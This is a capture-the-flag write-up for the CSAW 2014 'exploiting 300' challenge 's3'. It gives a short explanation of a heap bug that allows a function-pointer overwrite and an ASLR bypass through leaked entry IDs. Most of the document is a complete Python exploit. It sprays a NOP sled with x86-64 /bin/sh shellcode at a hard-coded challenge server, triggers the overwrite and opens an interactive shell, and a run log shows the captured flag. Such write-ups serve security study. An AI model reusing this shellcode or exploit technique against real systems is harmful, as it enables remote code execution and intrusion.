s3 writeup (CSAW 2014, exploiting 300)
The program lets you store strings. There are two types; one is null terminated and the other is supposed not to be. There is a programming bug such that updating a type 1 string (not null terminated) will let you overwrite a pointer to a function pointer in the entry that holds the string.
Because the entries were all given a unique number based on the result of the C++ new[] operator, we could use this to beat ASLR. The heap was executable, so we just indirectly made the program call shellcode on the heap with the function pointer overwrite.
$ (echo ""; echo "cat /home/amazon/flag"; cat) | python exploit-s3.py
Payload id: 0xd58030
Assumed shellcode addr: 0xd58230
Ptr id: 0xd588c0
Assumed ptr addr: 0xd588e0
trigger?
flag{SimplyStupidStorage}
*** Connection closed by remote host ***
Exploit is attached below.
– immerse
import socket, struct, time, telnetlib
from binascii import hexlify
def recvall(s):
s.setblocking(False)
time.sleep(0.3)
resp = ""
while True:
try:
recvd = s.recv(1024)
if len(recvd) == 0:
break
resp += recvd
except:
break
s.setblocking(True)
return resp
def uid(string):
look_for = "unique identifier is: "
index = string.find(look_for)
if index == -1:
print "INDEX == -1 (l22):",
print string
exit()
begin = index + len(look_for)
end = string.find(chr(0xa), begin+1)
assert end != -1
res = int(string[begin:end])
return res
#s = socket.create_connection(("localhost", 2323))
s = socket.create_connection(("54.165.225.121", 5333))
s.recv(1024)
def create(string, type=1):
s.send("c " + str(type) + " " + string + chr(0xa))
resp = recvall(s)
id = uid(resp)
return id
def retr(id):
s.send("r " + str(id) + chr(0xa))
return recvall(s)
SC_OFFSET = 0x200
PTR_OFFSET = 0x20
# /bin/sh shellcode
SHELLCODE = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x90\x90\x90\x90"
payload = ""
payload += chr(0x90) * (2000 - len(SHELLCODE))
payload += SHELLCODE
payload_id = create(payload)
print "Payload id:", hex(payload_id)
shellcode_addr = payload_id + SC_OFFSET
print "Assumed shellcode addr:", hex(shellcode_addr)
ptr = struct.pack("<Q", shellcode_addr)
ptr_id = create(ptr)
print "Ptr id:", hex(ptr_id)
ptr_addr = ptr_id + PTR_OFFSET
print "Assumed ptr addr:", hex(ptr_addr)
trigger = "A"*8
trigger_id = create(trigger)
s.send("u " + str(trigger_id) + " " +
struct.pack("<Q", ptr_addr - 0x10) + chr(0xa))
trigger_id = uid(recvall(s))
raw_input("trigger?")
s.send("r " + str(trigger_id) + chr(0xa))
t = telnetlib.Telnet()
t.sock = s
t.interact()